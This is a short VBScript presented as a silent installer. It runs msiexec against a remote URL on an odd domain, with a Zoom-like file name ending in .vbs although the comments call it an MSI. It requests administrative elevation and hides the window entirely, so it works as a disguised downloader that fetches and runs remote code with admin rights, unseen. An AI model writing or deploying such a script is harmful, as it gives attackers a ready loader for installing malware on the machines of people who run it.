Option Explicit

Dim objShell, strMsiUrl, strCommand, strArgs

' Define the URL for the MSI installer
' Note: msiexec can handle URLs directly in many environments, 
' but it is often more reliable to download first if the environment restricts remote MSI execution.
strMsiUrl = "http://www.domain1.homes/Downloads/zoom.vbs"

' Define the installer executable
strCommand = "msiexec.exe"

' Define the arguments for a silent, non-restarting installation
' /i: Install the package
' /qn: Quiet mode, no UI
' /norestart: Do not restart after installation
strArgs = "/i """ & strMsiUrl & """ /qn /norestart"

' Initialize Shell Application object
Set objShell = CreateObject("Shell.Application")

' Execute the command
' "runas" - Provides administrative elevation if required
' 0 - Hides the window entirely for a silent experience
objShell.ShellExecute strCommand, strArgs, "", "runas", 0

' Cleanup
Set objShell = Nothing